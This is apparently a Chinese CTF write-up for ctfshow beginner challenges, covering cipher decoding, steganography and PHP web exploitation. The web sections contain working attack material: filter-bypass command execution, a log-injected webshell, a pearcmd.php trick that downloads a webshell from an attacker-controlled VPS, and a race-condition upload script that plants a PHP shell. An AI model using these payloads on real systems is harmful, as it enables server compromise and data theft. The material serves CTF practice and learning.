目录
萌新_密码1
密文:
53316C6B5A6A42684D3256695A44566A4E47526A4D5459774C5556375A6D49324D32566C4D4449354F4749345A6A526B4F48303D
D和F等字母没先其他的,可能是十六进制。解密后得到一串base64编码
S1lkZjBhM2ViZDVjNGRjMTYwLUV7ZmI2M2VlMDI5OGI4ZjRkOH0=
再次进行base64解码,得到:
KYdf0a3ebd5c4dc160-E{fb63ee0298b8f4d8} 不难看出这是栅栏密码
用下载下来的工具解密后得到flag (下下下载没什么关系,直接百度搜索在线解密也可以)
萌新_密码2
出题人已累,随便敲了几下键盘。。。 rdcvbg 2qase3 6tghu7
单独看空格分开的字母 rdcvbg圈住了f 2qase3圈住了w 6tghu7圈住了y
所以flag为:KEY{fwy}
萌新 密码3
题目描述:-- --- .-. ... . ..--.- .. ... ..--.- -.-. --- --- .-.. ..--.- -... ..- - ..--.- -... .- -.-. --- -. ..--.- .. ... ..--.- -.-. --- --- .-.. . .-. ..--.- -- -- -.. -.. -- -.. -- -.. -- -- -- -.. -.. -.. /-- -.. -- -.. -.. --/ -- -- -- -- -- /-- -.. -.. -- -.. -- /-- -.. -.. --
摩斯密码解密后得到:mmddmdmdmmmdddmdmddmmmmmmmddmdmmddm
类似于培根密码,但培根密码是只有A和B 我们转换过来后是
AABBABABAAABBBABABBAAAAAAABBABAABBA
培根密码解密得到:guowang
这里提交的时候还需要大写,不知道为什么。。
萌新 密码#4
QW8obWdIWF5FKUFSQW5URihKXWZAJmx0OzYiLg==
base64解码后是Ao(mgHX^E)ARAnTF(J]f@<6".
hint提到:比base64还大的 有base85 base91 base100
乱七八糟的base85解密后得到flag:
再补全一个ase} 得到flag
萌新 隐写2
hint:文件的主人喜欢用生日做密码,而且还是个90后。
下载下来之后发现是一个flag.zip
加密的压缩包,我们用ARCHPR爆破一下压缩包密码
掩码 199????? 最后爆破得到密码为:19981000
萌新 隐写3
不知道为什么,打开后直接得到了flag:flag{xinti_gkd}
萌新 隐写4
下载下来后是个.doc文档,
1. 将后缀改为.txt之后,打开后可以找到flag
2. 010editor打开
萌新隐写5
文本文件打开:得到一串中文:
中文转Unicode 得到:\u4d00\u5a00\u5700\u4700\u4300\u5a00\u5a00\u4900\u4e00\u4200\u5100\u5700\u3600\u5800\u3300\u4b00\u4e00\u4600\u3200\u5600\u3600\u5900\u5400\u5600\u4c00\u3500\u3400\u5700\u3600\u3300\u5400\u4800\u4c00\u3500\u5200\u4400\u4700\u4d00\u5300\u3700\u4600\u4500\u3d00\u3d00\u3d00\u3d00\u3d00\u3d00\\=\u3002=//
对这串字符base16解码后得到:MZWGCZZINBQW6X3KNF2V6YTVL54W63THL5RDGMS7FE======
再对其进行base32解码后得到flag
自作主张把()换成了{}结果flag不对 其实不用换,多手了。。。
萌新隐写6
题目给的文件下载后得到一个 .flac的文件 打开发现是个music
我们用audacity 工具打开这段音频
链接: https://pan.baidu.com/s/1ySRUoWxH9E5spl2rvIgqdQ
提取码: 1vxy
发现其左声道 听起来类似于一段摩斯密码
我们导出其为.mp3 然后放到 International Morse Code Decoders | Morse Code World
上 上传文件,他会自动播放然后进行摩斯解密 得到flag为:M U Z I K I S G 0 0 D
隐写1
发现下载下来的PNG图片打不开
010editor打开后发现是 PNG的图片头有误
应为:89504E47
我们修改为正确的之后打开,得到flag
隐写2
打开图片后是JPHS
工具下载下来也是 JPHS
工具介绍:180214—【CTF】隐写:JPHS_DRondong的博客-CSDN博客_jphswin
工具打开flag.jpg 点击seek 密码为空 下载下来文件1.txt 打开得到flag
web11-13
passthru('tac con*')?>
web14
过滤了;和( ;可以用?>代替 至于不用()的危险函数,就用``来命令执行。
echo `tac con*`?>
web15
<?php
# flag in config.php
include("config.php");
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/system|\\*|\?|\<|\>|\=|exec|highlight|cat|\(|\.|file|php|config/i",$c)){
eval($c);
}else{
die("cmd error");
}
}else{
highlight_file(__FILE__);
}
?>
system * ? < > = exec highlight cat ( . file php config 等关键字
但是此次 ; 被放了出来。我们过滤是过滤了get的,我们可以构造POST传一个参数来进行rce
echo `$_POST[1]`;
post传参:1=cat config.php
我们用hackbar的话会返回空白,源码也是。这个问题不大,我们换成burp
更改请求方式为POST
添加 Content-Type: application/x-www-form-urlencoded
加入body参数 1=cat config.php
web16
$c = $_GET['c'];
if(md5("ctfshow$c")==="a6f57ae38a22448c2f07f3f95f49c84e"){
echo $flag;
所以get传入c=36d 得到flag
web17
日志注入,burp抓包在 User-Agent 写入一句话木马
蚁剑连接,在36.php里得到flag
web18
多过滤了一个file,无伤大雅,同web17
web19-21
同上
后面几道web虽然在萌新里,但对萌新很不友好,萌新的话建议做做其他的练习之后再回过头来做这几道题。
web22
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\:|\/|\\\/i",$c)){
include($c.".php");
}
}else{
highlight_file(__FILE__);
}
?>
include方面目前我见过的,就是伪协议以及日志注入,但是这道题过滤了: 和 / 没思路
但是看了其他师傅的博客之后,居然还能搞??
参考:ctfshow 萌新22 (类似级客巅峰web4)_Firebasky的博客-CSDN博客_ctfshow 萌新22
难度挺大的。据说是:修改php.ini里面的配置(register_argc_argv) 可以做
register_argc_argv 介绍:
通过可变信息通过GET方法是类似于参数传递给可执行文件。许多语言处理等方面argc和argv参数。 argc是参数计数,并,argv是索引数组,包含的参数。如果您想声明变量$argc和$argv和模仿这种功能,使register_argc_argv。
$argc变量是⽤于记录数组的⼤⼩
$argv变量是⽤于记录输⼊的参数p神解释:
经过简单测试,发现⽼版本(测试版本为5.2.17)默认为 On,新版本(测试版本为 5.4.45、5.5.9、7.3.4)默认为 Off
Docker PHP裸文件本地包含综述 - 跳跳糖
奇淫技巧:
p神的知识星球里提到:我们是可以通过$_GET或者$_POST的⽅式来操控
$_SERVER['argv']的值的,但是如果测试可以发现,如果直接传⼊值,⽆论多少个参数,$argc的个数始终是 1
在pear中有一个pearcmd.php的类,这里传参c值为pearcmd拼接后面的.php后缀
这个题开启了register_argc_argv可以通过+来分隔命令,先进行包含pearcmd.php然后在通过+分隔符来执行download命令
在我们的vps上面创建一个test.php
<?php
echo "<?php system(whoami);?>";
?>
然后在题目url里传入?c=pearcmd&+download+http:/vpsip/test.php
访问 题目url/test.php
返回 www-data 可以知道我们用户身份为 www-data 也证明成功下载了我们test.php
那么我们也可以写一个一句话木马,下载到题目里 访问执行命令,获取flag
但不知道为什么这个更改为木马文件后,就下载不下来了。
看到大师傅后面说的原因是:
实现的原因是我们通过python3开一个服务,而php文件的路径不在网站根目录下面就不会当php解析就会自动下载。
我们vps上在~目录写入一个shell木马,然后python3 -m http.server 81 开放一个服务
最终传入?c=pearcmd&+download+http:/vpsip:81/shell.php
成功下载下来了shell.php木马文件 密码为shell
得到flag
获得百分之百的快乐
<?php
show_source(__FILE__);
error_reporting(0);
if(strlen($_GET[1])<4){
echo shell_exec($_GET[1]);
}
else{
echo "hack!!!";
}
?>
有限字符下的任意命令执行,限制了长度只能是三个字符
先传入 1=ls 发现只有s和z开头的文件
只限3个字符的shell_exec,利用通配符 * 表示将ls下面的文件执行,如果第一个是命令就直接执行命令,后面的当参数,与前几点的原理类似
Linux中文件排序按照26个英文字母顺序排放,我们利用前几种字符限制的方法,通过>写入一个以命令名命名的文件,如:nl(读取文件带上行)od(八进制显示输出),但这样的命令前提是其第一个字母必须在当前文件名中排到第一位(n在s和z前,o也在s和z前)
因此
payload1:?1=>nl 后 ?1=*
payload2:?1=>od 后 ?1=*
web23
我们上传一下一句话php木马文件,发现上传成功,但是访问时却404
可能是存在条件竞争给删除掉了
贴一下y2hlbmc师傅的脚本:
# coding: utf-8
# Auth: y2hlbmc
import requests
import time
import threading
url = "http://1123c181-51e1-4e79-881d-4bf533022b4c.challenge.ctf.show:8080/"
def Thread(fun,*args):
return threading.Thread(target=fun, args=args)
def req(fname):
r = requests.get(url + "uploads/" + fname + ".php")
x = r.text
if len(x) > 0 and "404 Not Found" not in x and "容器已过期" not in x:
print(x)
def Thread_start(fname):
for i in range(100,400):
# 每个文件名单起一个线程
Thread(req, fname + str(i)).start()
def upload():
while True:
file_data = {'file':('shell.php',"<?php system(\"ls -l ../\");?>".encode())}
r = requests.post(url + "upload.php",files=file_data)
txt = r.text
print("uploaded:",txt)
# 用本次的文件名推算下一次的文件名,相差sleep一次的时间间隔
ts = int(time.mktime(time.strptime(txt[8:22], "%Y%m%d%H%M%S")))
fname = time.strftime("%Y%m%d%H%M%S", time.localtime(ts + 1))
# 单起一个线程,爆破下一次upload的文件名
Thread(Thread_start, fname).start()
if __name__ == '__main__':
upload()
执行力 ls -l的命令,发现了 flag文件:flaghere0.txt
更改shell.php文件内容:
<?php system(\"ls -l ../\");?> 为 <?php system(\"cat ../flaghere0.txt\");?>
得到flag
web24
提示:相比web23,随机数减少到300,延时增加到3秒
代码同web23,
把 fname = time.strftime("%Y%m%d%H%M%S", time.localtime(ts + 1))
改为 fname = time.strftime("%Y%m%d%H%M%S", time.localtime(ts + 3))
之后更改 ls -l ../ 为 cat flaghere0.txt
得到flag